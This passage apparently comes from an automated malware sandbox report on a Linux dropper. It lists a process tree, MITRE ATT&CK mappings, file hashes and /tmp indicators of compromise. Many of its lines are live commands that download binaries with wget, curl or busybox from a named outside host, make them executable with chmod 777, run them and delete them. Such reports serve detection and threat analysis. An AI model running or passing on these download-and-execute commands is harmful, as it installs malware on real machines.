  - Executes dropped EXE
  PID:977
- /bin/rm
  rm wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  PID:978
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:982
- /bin/chmod
  chmod 777 cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  ./cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  PID:985
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:986
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:989
- /bin/chmod
  chmod 777 sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  ./sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  PID:992
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  PID:993
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:994
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - System Network Configuration Discovery
  PID:996
- /bin/chmod
  chmod 777 fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - File and Directory Permissions Modification
  PID:997
- /tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  ./fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Executes dropped EXE
  PID:998
- /bin/rm
  rm fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  PID:999
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:1000
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1001
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:1003
- /bin/chmod
  chmod 777 zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  ./zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Executes dropped EXE
  PID:1005
- /bin/rm
  rm zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:1006
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1008
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /bin/chmod
  chmod 777 cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - File and Directory Permissions Modification
  PID:1011
- /tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  ./cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Executes dropped EXE
  PID:1012
- /bin/rm
  rm cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  PID:1013
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:1014
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1015
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /bin/chmod
  chmod 777 KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - File and Directory Permissions Modification
  PID:1018
- /tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  ./KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Executes dropped EXE
  PID:1019
- /bin/rm
  rm KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh

Path /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	750	HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	759	q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	766	wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	791	cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	826	sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	835	fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	848	zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	879	cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	886	KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	893	BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	900	gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	907	4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	914	1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	921	32XNpFNsEQXEG94McQ863EKenoyYylBICB
/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	928	BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	935	gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	942	4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	949	1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	956	32XNpFNsEQXEG94McQ863EKenoyYylBICB
/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	963	HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	970	q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	977	wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	984	cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	991	sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	998	fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	1005	zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	1012	cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	1019	KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU